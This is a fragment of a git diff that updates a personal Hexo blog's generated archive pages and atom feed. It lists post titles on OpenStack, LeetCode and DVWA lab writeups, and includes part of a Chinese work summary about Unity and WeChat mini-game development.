src="https://i.loli.net/2021/06/14/2NXqsznriG8blc7.jpg" alt="23 届暑期实习面试总结" onerror="this.onerror=null;this.src='https://cdn.jsdelivr.net/gh/jckling/jckling.github.io/img/jckling/404.jpg'"></a><div class="article-sort-item-info"><div class="article-sort-item-time"><i class="far fa-calendar-alt"></i><time class="post-meta-date-created" datetime="2022-05-20T02:25:50.000Z" title="发表于 2022-05-20 10:25:50">2022-05-20</time></div><a class="article-sort-item-title" href="/2022/05/20/Notes/23%20%E5%B1%8A%E6%9A%91%E6%9C%9F%E5%AE%9E%E4%B9%A0%E9%9D%A2%E8%AF%95%E6%80%BB%E7%BB%93/" title="23 届暑期实习面试总结">23 届暑期实习面试总结</a></div></div><div class="article-sort-item"><a class="article-sort-item-img" href="/2022/05/05/Other/Docker%20Desktop%20stopped%20%E9%97%AE%E9%A2%98%E8%A7%A3%E5%86%B3/" title="Docker Desktop stopped 问题解决"><img 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diff --git a/archives/page/10/index.html b/archives/page/10/index.html
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diff --git a/archives/page/11/index.html b/archives/page/11/index.html
index bf48cc4e9..ac56534fe 100644
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@@ -55,7 +55,7 @@
   isHome: false,
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+  postUpdate: '2024-05-22 22:10:58'
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Part I (Brute Force)" onerror="this.onerror=null;this.src='https://cdn.jsdelivr.net/gh/jckling/jckling.github.io/img/jckling/404.jpg'"></a><div class="article-sort-item-info"><div class="article-sort-item-time"><i class="far fa-calendar-alt"></i><time class="post-meta-date-created" datetime="2020-04-22T06:13:08.000Z" title="发表于 2020-04-22 14:13:08">2020-04-22</time></div><a class="article-sort-item-title" href="/2020/04/22/Security/DVWA/1.%20Brute%20Force/" title="DVWA Writeup Part I (Brute Force)">DVWA Writeup Part I (Brute Force)</a></div></div><div class="article-sort-item"><a class="article-sort-item-img" href="/2020/04/07/Security/DSVW/DSVW/" title="DSVW Writeup"><img src="https://i.loli.net/2021/06/14/oSn9dxfYhEHClIe.jpg" alt="DSVW Writeup" onerror="this.onerror=null;this.src='https://cdn.jsdelivr.net/gh/jckling/jckling.github.io/img/jckling/404.jpg'"></a><div class="article-sort-item-info"><div class="article-sort-item-time"><i class="far fa-calendar-alt"></i><time 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class="article-sort-item"><a class="article-sort-item-img" href="/2020/04/25/Security/DVWA/7.%20SQLi%20Blind/" title="DVWA Writeup Part VII (SQL Injection (Blind))"><img src="https://i.loli.net/2021/06/14/aAsUJkFMvVpl4ro.png" alt="DVWA Writeup Part VII (SQL Injection (Blind))" onerror="this.onerror=null;this.src='https://cdn.jsdelivr.net/gh/jckling/jckling.github.io/img/jckling/404.jpg'"></a><div class="article-sort-item-info"><div class="article-sort-item-time"><i class="far fa-calendar-alt"></i><time class="post-meta-date-created" datetime="2020-04-25T07:21:04.000Z" title="发表于 2020-04-25 15:21:04">2020-04-25</time></div><a class="article-sort-item-title" href="/2020/04/25/Security/DVWA/7.%20SQLi%20Blind/" title="DVWA Writeup Part VII (SQL Injection (Blind))">DVWA Writeup Part VII (SQL Injection (Blind))</a></div></div><div class="article-sort-item"><a class="article-sort-item-img" href="/2020/04/24/Security/DVWA/6.%20SQLi/" title="DVWA Writeup Part VI (SQL Injection)"><img src="https://i.loli.net/2021/06/14/aAsUJkFMvVpl4ro.png" alt="DVWA Writeup Part VI (SQL Injection)" onerror="this.onerror=null;this.src='https://cdn.jsdelivr.net/gh/jckling/jckling.github.io/img/jckling/404.jpg'"></a><div class="article-sort-item-info"><div class="article-sort-item-time"><i class="far fa-calendar-alt"></i><time class="post-meta-date-created" datetime="2020-04-24T13:12:14.000Z" title="发表于 2020-04-24 21:12:14">2020-04-24</time></div><a class="article-sort-item-title" href="/2020/04/24/Security/DVWA/6.%20SQLi/" title="DVWA Writeup Part VI (SQL Injection)">DVWA Writeup Part VI (SQL Injection)</a></div></div><div class="article-sort-item"><a class="article-sort-item-img" href="/2020/04/24/Security/DVWA/5.%20File%20Upload/" title="DVWA Writeup Part V (File Upload)"><img src="https://i.loli.net/2021/06/14/aAsUJkFMvVpl4ro.png" alt="DVWA Writeup Part V (File Upload)" onerror="this.onerror=null;this.src='https://cdn.jsdelivr.net/gh/jckling/jckling.github.io/img/jckling/404.jpg'"></a><div class="article-sort-item-info"><div class="article-sort-item-time"><i class="far fa-calendar-alt"></i><time class="post-meta-date-created" datetime="2020-04-24T11:20:33.000Z" title="发表于 2020-04-24 19:20:33">2020-04-24</time></div><a class="article-sort-item-title" href="/2020/04/24/Security/DVWA/5.%20File%20Upload/" title="DVWA Writeup Part V (File Upload)">DVWA Writeup Part V (File Upload)</a></div></div><div class="article-sort-item"><a class="article-sort-item-img" href="/2020/04/23/Security/DVWA/4.%20File%20Inclusion/" title="DVWA Writeup Part IV (File Inclusion)"><img src="https://i.loli.net/2021/06/14/aAsUJkFMvVpl4ro.png" alt="DVWA Writeup Part IV (File Inclusion)" onerror="this.onerror=null;this.src='https://cdn.jsdelivr.net/gh/jckling/jckling.github.io/img/jckling/404.jpg'"></a><div class="article-sort-item-info"><div class="article-sort-item-time"><i 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href="/2020/04/23/Security/DVWA/3.%20CSRF/" title="DVWA Writeup Part III (CSRF)">DVWA Writeup Part III (CSRF)</a></div></div><div class="article-sort-item"><a class="article-sort-item-img" href="/2020/04/23/Security/DVWA/2.%20Command%20Injection/" title="DVWA Writeup Part II (Command Injection)"><img src="https://i.loli.net/2021/06/14/aAsUJkFMvVpl4ro.png" alt="DVWA Writeup Part II (Command Injection)" onerror="this.onerror=null;this.src='https://cdn.jsdelivr.net/gh/jckling/jckling.github.io/img/jckling/404.jpg'"></a><div class="article-sort-item-info"><div class="article-sort-item-time"><i class="far fa-calendar-alt"></i><time class="post-meta-date-created" datetime="2020-04-23T07:50:46.000Z" title="发表于 2020-04-23 15:50:46">2020-04-23</time></div><a class="article-sort-item-title" href="/2020/04/23/Security/DVWA/2.%20Command%20Injection/" title="DVWA Writeup Part II (Command Injection)">DVWA Writeup Part II (Command Injection)</a></div></div><div class="article-sort-item"><a class="article-sort-item-img" href="/2020/04/23/Other/Travis%20CI%20%E8%87%AA%E5%8A%A8%E9%83%A8%E7%BD%B2/" title="Travis CI 自动部署 Hexo 博客"><img src="https://i.loli.net/2021/06/14/aYx3ARb5oQpFq9s.png" alt="Travis CI 自动部署 Hexo 博客" onerror="this.onerror=null;this.src='https://cdn.jsdelivr.net/gh/jckling/jckling.github.io/img/jckling/404.jpg'"></a><div class="article-sort-item-info"><div class="article-sort-item-time"><i class="far fa-calendar-alt"></i><time class="post-meta-date-created" datetime="2020-04-23T03:44:16.000Z" title="发表于 2020-04-23 11:44:16">2020-04-23</time></div><a class="article-sort-item-title" href="/2020/04/23/Other/Travis%20CI%20%E8%87%AA%E5%8A%A8%E9%83%A8%E7%BD%B2/" title="Travis CI 自动部署 Hexo 博客">Travis CI 自动部署 Hexo 博客</a></div></div><div class="article-sort-item"><a class="article-sort-item-img" href="/2020/04/22/Security/DVWA/1.%20Brute%20Force/" title="DVWA Writeup Part I (Brute Force)"><img src="https://i.loli.net/2021/06/14/aAsUJkFMvVpl4ro.png" alt="DVWA Writeup Part I (Brute Force)" onerror="this.onerror=null;this.src='https://cdn.jsdelivr.net/gh/jckling/jckling.github.io/img/jckling/404.jpg'"></a><div class="article-sort-item-info"><div class="article-sort-item-time"><i class="far fa-calendar-alt"></i><time class="post-meta-date-created" datetime="2020-04-22T06:13:08.000Z" title="发表于 2020-04-22 14:13:08">2020-04-22</time></div><a class="article-sort-item-title" href="/2020/04/22/Security/DVWA/1.%20Brute%20Force/" title="DVWA Writeup Part I (Brute Force)">DVWA Writeup Part I (Brute Force)</a></div></div><div class="article-sort-item"><a class="article-sort-item-img" href="/2020/04/07/Security/DSVW/DSVW/" title="DSVW Writeup"><img src="https://i.loli.net/2021/06/14/jcdZBHXx9TskmrM.jpg" alt="DSVW Writeup" onerror="this.onerror=null;this.src='https://cdn.jsdelivr.net/gh/jckling/jckling.github.io/img/jckling/404.jpg'"></a><div class="article-sort-item-info"><div class="article-sort-item-time"><i class="far fa-calendar-alt"></i><time class="post-meta-date-created" datetime="2020-04-07T06:13:08.000Z" title="发表于 2020-04-07 14:13:08">2020-04-07</time></div><a class="article-sort-item-title" href="/2020/04/07/Security/DSVW/DSVW/" title="DSVW Writeup">DSVW Writeup</a></div></div><div class="article-sort-item"><a class="article-sort-item-img" href="/2020/04/04/LeetCode/DataBase-2/" title="LeetCode Database Medium &amp; Hard"><img src="https://i.loli.net/2021/06/14/CRcoAfdnJKvFNqW.jpg" alt="LeetCode Database Medium &amp; Hard" onerror="this.onerror=null;this.src='https://cdn.jsdelivr.net/gh/jckling/jckling.github.io/img/jckling/404.jpg'"></a><div class="article-sort-item-info"><div class="article-sort-item-time"><i class="far fa-calendar-alt"></i><time class="post-meta-date-created" datetime="2020-04-04T09:00:53.000Z" title="发表于 2020-04-04 17:00:53">2020-04-04</time></div><a class="article-sort-item-title" href="/2020/04/04/LeetCode/DataBase-2/" title="LeetCode Database Medium &amp; Hard">LeetCode Database Medium &amp; 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index bad37af1f..5dbfb258c 100644
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-</head><body><div id="sidebar"><div id="menu-mask"></div><div id="sidebar-menus"><div class="avatar-img is-center"><img src="https://cdn.jsdelivr.net/gh/jckling/jckling.github.io/img/jckling/avatar.jpg" onerror="onerror=null;src='https://cdn.jsdelivr.net/gh/jckling/jckling.github.io/img/jckling/avatar_404.png'" alt="avatar"/></div><div class="sidebar-site-data site-data is-center"><a href="/archives/"><div class="headline">文章</div><div class="length-num">124</div></a><a href="/tags/"><div class="headline">标签</div><div class="length-num">46</div></a><a href="/categories/"><div class="headline">分类</div><div class="length-num">9</div></a></div><hr class="custom-hr"/><div class="menus_items"><div class="menus_item"><a class="site-page" href="/"><i class="fa-fw fas fa-home"></i><span> Home</span></a></div><div class="menus_item"><a class="site-page" href="/archives/"><i class="fa-fw fas fa-archive"></i><span> Archives</span></a></div><div class="menus_item"><a class="site-page" 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class="article-sort-item"><a class="article-sort-item-img" href="/2021/02/07/OpenStack/OpenStack%20%E5%8D%95%E6%9C%BA%E9%83%A8%E7%BD%B2%20%E2%80%94%E2%80%94%20DevStack/" title="OpenStack 单机部署 —— DevStack"><img src="https://i.loli.net/2021/06/14/O6DgG2AzyvJfTso.jpg" alt="OpenStack 单机部署 —— DevStack" onerror="this.onerror=null;this.src='https://cdn.jsdelivr.net/gh/jckling/jckling.github.io/img/jckling/404.jpg'"></a><div class="article-sort-item-info"><div class="article-sort-item-time"><i class="far fa-calendar-alt"></i><time class="post-meta-date-created" datetime="2021-02-07T03:40:14.000Z" title="发表于 2021-02-07 11:40:14">2021-02-07</time></div><a class="article-sort-item-title" href="/2021/02/07/OpenStack/OpenStack%20%E5%8D%95%E6%9C%BA%E9%83%A8%E7%BD%B2%20%E2%80%94%E2%80%94%20DevStack/" title="OpenStack 单机部署 —— DevStack">OpenStack 单机部署 —— DevStack</a></div></div><div class="article-sort-item"><a class="article-sort-item-img" href="/2021/02/02/OpenStack/OpenStack%20%E5%8D%95%E6%9C%BA%E9%83%A8%E7%BD%B2%20%E2%80%94%E2%80%94%20PackStack/" title="OpenStack 单机部署 —— PackStack"><img src="https://i.loli.net/2021/06/14/Y3ljqCHn76RITPz.png" alt="OpenStack 单机部署 —— PackStack" onerror="this.onerror=null;this.src='https://cdn.jsdelivr.net/gh/jckling/jckling.github.io/img/jckling/404.jpg'"></a><div class="article-sort-item-info"><div class="article-sort-item-time"><i class="far fa-calendar-alt"></i><time class="post-meta-date-created" datetime="2021-02-02T02:10:51.000Z" title="发表于 2021-02-02 10:10:51">2021-02-02</time></div><a class="article-sort-item-title" href="/2021/02/02/OpenStack/OpenStack%20%E5%8D%95%E6%9C%BA%E9%83%A8%E7%BD%B2%20%E2%80%94%E2%80%94%20PackStack/" title="OpenStack 单机部署 —— PackStack">OpenStack 单机部署 —— PackStack</a></div></div><div class="article-sort-item"><a class="article-sort-item-img" href="/2021/01/27/Other/Chrome%20%E6%8F%92%E4%BB%B6%E6%8E%A8%E8%8D%90/" title="Chrome 插件推荐"><img src="https://i.loli.net/2021/06/14/SKJsWtXpRB6lrCE.png" alt="Chrome 插件推荐" onerror="this.onerror=null;this.src='https://cdn.jsdelivr.net/gh/jckling/jckling.github.io/img/jckling/404.jpg'"></a><div class="article-sort-item-info"><div class="article-sort-item-time"><i class="far fa-calendar-alt"></i><time class="post-meta-date-created" datetime="2021-01-27T07:19:33.000Z" title="发表于 2021-01-27 15:19:33">2021-01-27</time></div><a class="article-sort-item-title" href="/2021/01/27/Other/Chrome%20%E6%8F%92%E4%BB%B6%E6%8E%A8%E8%8D%90/" title="Chrome 插件推荐">Chrome 插件推荐</a></div></div><div class="article-sort-item"><a class="article-sort-item-img" href="/2021/01/23/Notes/Root%20Cause%20Analysis%20of%20Anomalies%20of%20Multitier%20Services%20in%20Public%20Clouds/" title="Root Cause Analysis of Anomalies of Multitier Services in Public Clouds"><img src="https://i.loli.net/2021/06/14/oSn9dxfYhEHClIe.jpg" alt="Root Cause Analysis of Anomalies of Multitier Services in Public Clouds" onerror="this.onerror=null;this.src='https://cdn.jsdelivr.net/gh/jckling/jckling.github.io/img/jckling/404.jpg'"></a><div class="article-sort-item-info"><div class="article-sort-item-time"><i class="far fa-calendar-alt"></i><time class="post-meta-date-created" datetime="2021-01-23T07:29:02.000Z" title="发表于 2021-01-23 15:29:02">2021-01-23</time></div><a class="article-sort-item-title" href="/2021/01/23/Notes/Root%20Cause%20Analysis%20of%20Anomalies%20of%20Multitier%20Services%20in%20Public%20Clouds/" title="Root Cause Analysis of Anomalies of Multitier Services in Public Clouds">Root Cause Analysis of Anomalies of Multitier Services in Public Clouds</a></div></div><div class="article-sort-item"><a class="article-sort-item-img" href="/2021/01/20/OpenStack/OpenStack%20%E9%83%A8%E7%BD%B2%E6%96%B9%E5%BC%8F%E6%80%BB%E7%BB%93/" title="OpenStack 部署方式总结"><img src="https://i.loli.net/2021/06/14/NfcmdhT7uUx4pqo.jpg" alt="OpenStack 部署方式总结" onerror="this.onerror=null;this.src='https://cdn.jsdelivr.net/gh/jckling/jckling.github.io/img/jckling/404.jpg'"></a><div class="article-sort-item-info"><div class="article-sort-item-time"><i class="far fa-calendar-alt"></i><time class="post-meta-date-created" datetime="2021-01-20T14:19:01.000Z" title="发表于 2021-01-20 22:19:01">2021-01-20</time></div><a class="article-sort-item-title" href="/2021/01/20/OpenStack/OpenStack%20%E9%83%A8%E7%BD%B2%E6%96%B9%E5%BC%8F%E6%80%BB%E7%BB%93/" title="OpenStack 部署方式总结">OpenStack 部署方式总结</a></div></div><div class="article-sort-item"><a class="article-sort-item-img" href="/2021/01/04/Other/jupyter-notebook+remote-server/" title="Jupyter Notebook 部署在服务器并使用外网访问"><img src="https://i.loli.net/2021/06/14/FonW9v2gDsPSbVA.png" alt="Jupyter Notebook 部署在服务器并使用外网访问" onerror="this.onerror=null;this.src='https://cdn.jsdelivr.net/gh/jckling/jckling.github.io/img/jckling/404.jpg'"></a><div class="article-sort-item-info"><div class="article-sort-item-time"><i class="far fa-calendar-alt"></i><time class="post-meta-date-created" datetime="2021-01-04T05:56:08.000Z" title="发表于 2021-01-04 13:56:08">2021-01-04</time></div><a class="article-sort-item-title" href="/2021/01/04/Other/jupyter-notebook+remote-server/" title="Jupyter Notebook 部署在服务器并使用外网访问">Jupyter Notebook 部署在服务器并使用外网访问</a></div></div><div class="article-sort-item year">2020</div><div class="article-sort-item"><a class="article-sort-item-img" href="/2020/12/29/OpenStack/CentOS7+OpenStack(Rocky)-8/" title="CentOS 7 安装 Openstack Rocky 版本 - 控制面板（Horizon）"><img src="https://i.loli.net/2021/06/14/Y3ljqCHn76RITPz.png" alt="CentOS 7 安装 Openstack Rocky 版本 - 控制面板（Horizon）" onerror="this.onerror=null;this.src='https://cdn.jsdelivr.net/gh/jckling/jckling.github.io/img/jckling/404.jpg'"></a><div class="article-sort-item-info"><div class="article-sort-item-time"><i class="far fa-calendar-alt"></i><time class="post-meta-date-created" datetime="2020-12-29T09:08:31.000Z" title="发表于 2020-12-29 17:08:31">2020-12-29</time></div><a class="article-sort-item-title" href="/2020/12/29/OpenStack/CentOS7+OpenStack(Rocky)-8/" title="CentOS 7 安装 Openstack Rocky 版本 - 控制面板（Horizon）">CentOS 7 安装 Openstack Rocky 版本 - 控制面板（Horizon）</a></div></div><div class="article-sort-item"><a class="article-sort-item-img" href="/2020/12/29/OpenStack/CentOS7+OpenStack(Rocky)-7/" title="CentOS 7 安装 Openstack Rocky 版本 - 创建实例"><img src="https://i.loli.net/2021/06/14/Y3ljqCHn76RITPz.png" alt="CentOS 7 安装 Openstack Rocky 版本 - 创建实例" onerror="this.onerror=null;this.src='https://cdn.jsdelivr.net/gh/jckling/jckling.github.io/img/jckling/404.jpg'"></a><div class="article-sort-item-info"><div class="article-sort-item-time"><i class="far fa-calendar-alt"></i><time class="post-meta-date-created" datetime="2020-12-29T05:45:33.000Z" title="发表于 2020-12-29 13:45:33">2020-12-29</time></div><a class="article-sort-item-title" href="/2020/12/29/OpenStack/CentOS7+OpenStack(Rocky)-7/" title="CentOS 7 安装 Openstack Rocky 版本 - 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href="/2020/12/28/OpenStack/CentOS7+OpenStack(Rocky)-5/" title="CentOS 7 安装 Openstack Rocky 版本 - 对象存储服务（Swift）"><img src="https://i.loli.net/2021/06/14/Y3ljqCHn76RITPz.png" alt="CentOS 7 安装 Openstack Rocky 版本 - 对象存储服务（Swift）" onerror="this.onerror=null;this.src='https://cdn.jsdelivr.net/gh/jckling/jckling.github.io/img/jckling/404.jpg'"></a><div class="article-sort-item-info"><div class="article-sort-item-time"><i class="far fa-calendar-alt"></i><time class="post-meta-date-created" datetime="2020-12-28T06:29:25.000Z" title="发表于 2020-12-28 14:29:25">2020-12-28</time></div><a class="article-sort-item-title" href="/2020/12/28/OpenStack/CentOS7+OpenStack(Rocky)-5/" title="CentOS 7 安装 Openstack Rocky 版本 - 对象存储服务（Swift）">CentOS 7 安装 Openstack Rocky 版本 - 对象存储服务（Swift）</a></div></div></div><nav id="pagination"><div class="pagination"><a class="extend prev" rel="prev" href="/archives/page/5/"><i class="fas fa-chevron-left fa-fw"></i></a><a class="page-number" href="/archives/">1</a><span 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class="article-sort-item"><a class="article-sort-item-img" href="/2021/02/07/OpenStack/OpenStack%20%E5%8D%95%E6%9C%BA%E9%83%A8%E7%BD%B2%20%E2%80%94%E2%80%94%20DevStack/" title="OpenStack 单机部署 —— DevStack"><img src="https://i.loli.net/2021/06/14/O6DgG2AzyvJfTso.jpg" alt="OpenStack 单机部署 —— DevStack" onerror="this.onerror=null;this.src='https://cdn.jsdelivr.net/gh/jckling/jckling.github.io/img/jckling/404.jpg'"></a><div class="article-sort-item-info"><div class="article-sort-item-time"><i class="far fa-calendar-alt"></i><time class="post-meta-date-created" datetime="2021-02-07T03:40:14.000Z" title="发表于 2021-02-07 11:40:14">2021-02-07</time></div><a class="article-sort-item-title" href="/2021/02/07/OpenStack/OpenStack%20%E5%8D%95%E6%9C%BA%E9%83%A8%E7%BD%B2%20%E2%80%94%E2%80%94%20DevStack/" title="OpenStack 单机部署 —— DevStack">OpenStack 单机部署 —— DevStack</a></div></div><div class="article-sort-item"><a class="article-sort-item-img" href="/2021/02/02/OpenStack/OpenStack%20%E5%8D%95%E6%9C%BA%E9%83%A8%E7%BD%B2%20%E2%80%94%E2%80%94%20PackStack/" title="OpenStack 单机部署 —— PackStack"><img src="https://i.loli.net/2021/06/14/Y3ljqCHn76RITPz.png" alt="OpenStack 单机部署 —— PackStack" onerror="this.onerror=null;this.src='https://cdn.jsdelivr.net/gh/jckling/jckling.github.io/img/jckling/404.jpg'"></a><div class="article-sort-item-info"><div class="article-sort-item-time"><i class="far fa-calendar-alt"></i><time class="post-meta-date-created" datetime="2021-02-02T02:10:51.000Z" title="发表于 2021-02-02 10:10:51">2021-02-02</time></div><a class="article-sort-item-title" href="/2021/02/02/OpenStack/OpenStack%20%E5%8D%95%E6%9C%BA%E9%83%A8%E7%BD%B2%20%E2%80%94%E2%80%94%20PackStack/" title="OpenStack 单机部署 —— PackStack">OpenStack 单机部署 —— PackStack</a></div></div><div class="article-sort-item"><a class="article-sort-item-img" href="/2021/01/27/Other/Chrome%20%E6%8F%92%E4%BB%B6%E6%8E%A8%E8%8D%90/" title="Chrome 插件推荐"><img src="https://i.loli.net/2021/06/14/SKJsWtXpRB6lrCE.png" alt="Chrome 插件推荐" onerror="this.onerror=null;this.src='https://cdn.jsdelivr.net/gh/jckling/jckling.github.io/img/jckling/404.jpg'"></a><div class="article-sort-item-info"><div class="article-sort-item-time"><i class="far fa-calendar-alt"></i><time class="post-meta-date-created" datetime="2021-01-27T07:19:33.000Z" title="发表于 2021-01-27 15:19:33">2021-01-27</time></div><a class="article-sort-item-title" href="/2021/01/27/Other/Chrome%20%E6%8F%92%E4%BB%B6%E6%8E%A8%E8%8D%90/" title="Chrome 插件推荐">Chrome 插件推荐</a></div></div><div class="article-sort-item"><a class="article-sort-item-img" href="/2021/01/23/Notes/Root%20Cause%20Analysis%20of%20Anomalies%20of%20Multitier%20Services%20in%20Public%20Clouds/" title="Root Cause Analysis of Anomalies of Multitier Services in Public Clouds"><img src="https://i.loli.net/2021/06/14/2NXqsznriG8blc7.jpg" alt="Root Cause Analysis of Anomalies of Multitier Services in Public Clouds" onerror="this.onerror=null;this.src='https://cdn.jsdelivr.net/gh/jckling/jckling.github.io/img/jckling/404.jpg'"></a><div class="article-sort-item-info"><div class="article-sort-item-time"><i class="far fa-calendar-alt"></i><time class="post-meta-date-created" datetime="2021-01-23T07:29:02.000Z" title="发表于 2021-01-23 15:29:02">2021-01-23</time></div><a class="article-sort-item-title" href="/2021/01/23/Notes/Root%20Cause%20Analysis%20of%20Anomalies%20of%20Multitier%20Services%20in%20Public%20Clouds/" title="Root Cause Analysis of Anomalies of Multitier Services in Public Clouds">Root Cause Analysis of Anomalies of Multitier Services in Public Clouds</a></div></div><div class="article-sort-item"><a class="article-sort-item-img" href="/2021/01/20/OpenStack/OpenStack%20%E9%83%A8%E7%BD%B2%E6%96%B9%E5%BC%8F%E6%80%BB%E7%BB%93/" title="OpenStack 部署方式总结"><img src="https://i.loli.net/2021/06/14/NfcmdhT7uUx4pqo.jpg" alt="OpenStack 部署方式总结" onerror="this.onerror=null;this.src='https://cdn.jsdelivr.net/gh/jckling/jckling.github.io/img/jckling/404.jpg'"></a><div class="article-sort-item-info"><div class="article-sort-item-time"><i class="far fa-calendar-alt"></i><time class="post-meta-date-created" datetime="2021-01-20T14:19:01.000Z" title="发表于 2021-01-20 22:19:01">2021-01-20</time></div><a class="article-sort-item-title" href="/2021/01/20/OpenStack/OpenStack%20%E9%83%A8%E7%BD%B2%E6%96%B9%E5%BC%8F%E6%80%BB%E7%BB%93/" title="OpenStack 部署方式总结">OpenStack 部署方式总结</a></div></div><div class="article-sort-item"><a class="article-sort-item-img" href="/2021/01/04/Other/jupyter-notebook+remote-server/" title="Jupyter Notebook 部署在服务器并使用外网访问"><img src="https://i.loli.net/2021/06/14/FonW9v2gDsPSbVA.png" alt="Jupyter Notebook 部署在服务器并使用外网访问" onerror="this.onerror=null;this.src='https://cdn.jsdelivr.net/gh/jckling/jckling.github.io/img/jckling/404.jpg'"></a><div class="article-sort-item-info"><div class="article-sort-item-time"><i class="far fa-calendar-alt"></i><time class="post-meta-date-created" datetime="2021-01-04T05:56:08.000Z" title="发表于 2021-01-04 13:56:08">2021-01-04</time></div><a class="article-sort-item-title" href="/2021/01/04/Other/jupyter-notebook+remote-server/" title="Jupyter Notebook 部署在服务器并使用外网访问">Jupyter Notebook 部署在服务器并使用外网访问</a></div></div><div class="article-sort-item year">2020</div><div class="article-sort-item"><a class="article-sort-item-img" href="/2020/12/29/OpenStack/CentOS7+OpenStack(Rocky)-8/" title="CentOS 7 安装 Openstack Rocky 版本 - 控制面板（Horizon）"><img src="https://i.loli.net/2021/06/14/Y3ljqCHn76RITPz.png" alt="CentOS 7 安装 Openstack Rocky 版本 - 控制面板（Horizon）" onerror="this.onerror=null;this.src='https://cdn.jsdelivr.net/gh/jckling/jckling.github.io/img/jckling/404.jpg'"></a><div class="article-sort-item-info"><div class="article-sort-item-time"><i class="far fa-calendar-alt"></i><time class="post-meta-date-created" datetime="2020-12-29T09:08:31.000Z" title="发表于 2020-12-29 17:08:31">2020-12-29</time></div><a class="article-sort-item-title" href="/2020/12/29/OpenStack/CentOS7+OpenStack(Rocky)-8/" title="CentOS 7 安装 Openstack Rocky 版本 - 控制面板（Horizon）">CentOS 7 安装 Openstack Rocky 版本 - 控制面板（Horizon）</a></div></div><div class="article-sort-item"><a class="article-sort-item-img" href="/2020/12/29/OpenStack/CentOS7+OpenStack(Rocky)-7/" title="CentOS 7 安装 Openstack Rocky 版本 - 创建实例"><img src="https://i.loli.net/2021/06/14/Y3ljqCHn76RITPz.png" alt="CentOS 7 安装 Openstack Rocky 版本 - 创建实例" onerror="this.onerror=null;this.src='https://cdn.jsdelivr.net/gh/jckling/jckling.github.io/img/jckling/404.jpg'"></a><div class="article-sort-item-info"><div class="article-sort-item-time"><i class="far fa-calendar-alt"></i><time class="post-meta-date-created" datetime="2020-12-29T05:45:33.000Z" title="发表于 2020-12-29 13:45:33">2020-12-29</time></div><a class="article-sort-item-title" href="/2020/12/29/OpenStack/CentOS7+OpenStack(Rocky)-7/" title="CentOS 7 安装 Openstack Rocky 版本 - 创建实例">CentOS 7 安装 Openstack Rocky 版本 - 创建实例</a></div></div><div class="article-sort-item"><a class="article-sort-item-img" href="/2020/12/28/OpenStack/CentOS7+OpenStack(Rocky)-6/" title="CentOS 7 安装 Openstack Rocky 版本 - 块存储服务（Cinder）"><img src="https://i.loli.net/2021/06/14/Y3ljqCHn76RITPz.png" alt="CentOS 7 安装 Openstack Rocky 版本 - 块存储服务（Cinder）" onerror="this.onerror=null;this.src='https://cdn.jsdelivr.net/gh/jckling/jckling.github.io/img/jckling/404.jpg'"></a><div class="article-sort-item-info"><div class="article-sort-item-time"><i class="far fa-calendar-alt"></i><time class="post-meta-date-created" datetime="2020-12-28T13:37:23.000Z" title="发表于 2020-12-28 21:37:23">2020-12-28</time></div><a class="article-sort-item-title" href="/2020/12/28/OpenStack/CentOS7+OpenStack(Rocky)-6/" title="CentOS 7 安装 Openstack Rocky 版本 - 块存储服务（Cinder）">CentOS 7 安装 Openstack Rocky 版本 - 块存储服务（Cinder）</a></div></div><div class="article-sort-item"><a class="article-sort-item-img" href="/2020/12/28/OpenStack/CentOS7+OpenStack(Rocky)-5/" title="CentOS 7 安装 Openstack Rocky 版本 - 对象存储服务（Swift）"><img src="https://i.loli.net/2021/06/14/Y3ljqCHn76RITPz.png" alt="CentOS 7 安装 Openstack Rocky 版本 - 对象存储服务（Swift）" onerror="this.onerror=null;this.src='https://cdn.jsdelivr.net/gh/jckling/jckling.github.io/img/jckling/404.jpg'"></a><div class="article-sort-item-info"><div class="article-sort-item-time"><i class="far fa-calendar-alt"></i><time class="post-meta-date-created" datetime="2020-12-28T06:29:25.000Z" title="发表于 2020-12-28 14:29:25">2020-12-28</time></div><a class="article-sort-item-title" href="/2020/12/28/OpenStack/CentOS7+OpenStack(Rocky)-5/" title="CentOS 7 安装 Openstack Rocky 版本 - 对象存储服务（Swift）">CentOS 7 安装 Openstack Rocky 版本 - 对象存储服务（Swift）</a></div></div></div><nav id="pagination"><div class="pagination"><a class="extend prev" rel="prev" href="/archives/page/5/"><i class="fas fa-chevron-left fa-fw"></i></a><a class="page-number" href="/archives/">1</a><span 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@@ -55,7 +55,7 @@
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diff --git a/atom.xml b/atom.xml
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+    <updated>2024-05-22T14:10:41.001Z</updated>
     
     <content type="html"><![CDATA[<h1 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h1><p>简单概括工作内容</p><h1 id="项目"><a href="#项目" class="headerlink" title="项目"></a>项目</h1><h2 id="Cloud-Build"><a href="#Cloud-Build" class="headerlink" title="Cloud Build"></a>Cloud Build</h2><ol><li>搭建并测试 Gitea Runner</li><li></li></ol><h2 id="微信小游戏"><a href="#微信小游戏" class="headerlink" title="微信小游戏"></a>微信小游戏</h2><ol><li><p>使用 <a href="https://github.com/wechat-miniprogram/minigame-unity-webgl-transform/tree/main">转换工具</a> 将项目打包为小游戏</p></li><li><p>使用 <a href="https://developers.weixin.qq.com/miniprogram/dev/devtools/download.html">微信开发者工具</a> 与 <a href="https://docs.unity3d.com/Manual/Profiler.html">Unity Profiler</a> 进行调试</p></li><li><p>开发工具面板</p><ul><li><a href="https://forum.unity.com/threads/listview-strange-index-problem-when-scrolling.807000/">ListView strange index Problem when scrolling - Unity Forum</a></li><li><a href="https://forum.unity.com/threads/clearing-previous-registervaluechangedcallbacks-or-passing-custom-arguments-to-the-callback.1042819/">Clearing previous RegisterValueChangedCallbacks or passing custom arguments to the callback? - Unity Forum</a></li><li><a href="https://docs.unity.cn/Manual/UIE-ListView-TreeView.html">Unity - Manual: Create list and tree views</a></li><li><a href="https://docs.unity3d.com/Manual/TreeViewAPI.html">Unity - Manual: TreeView</a></li></ul></li></ol><h2 id="MyLink"><a href="#MyLink" class="headerlink" title="MyLink"></a>MyLink</h2><ol><li><p>UI 相关的 bugfix</p><ul><li><p>滑动条显示问题：<a href="https://forum.unity.com/threads/custom-image-for-slider-fill-not-scaling-correctly.911072/#post-6537784">Custom image for slider fill not scaling correctly</a></p></li><li><p>不同方向的滑动速度不同：<a href="https://stackoverflow.com/questions/75571907/c-sharp-unity-camera-moving-up-and-down-speed-is-very-slow">C# Unity camera moving up and down speed is very slow</a></p></li><li><p>auto-size 导致每项的文字大小都不相同：<a href="https://forum.unity.com/threads/textmeshpro-precull-dorebuilds-performance.762968/#post-5083490">TextMeshPro - Precull DoRebuilds 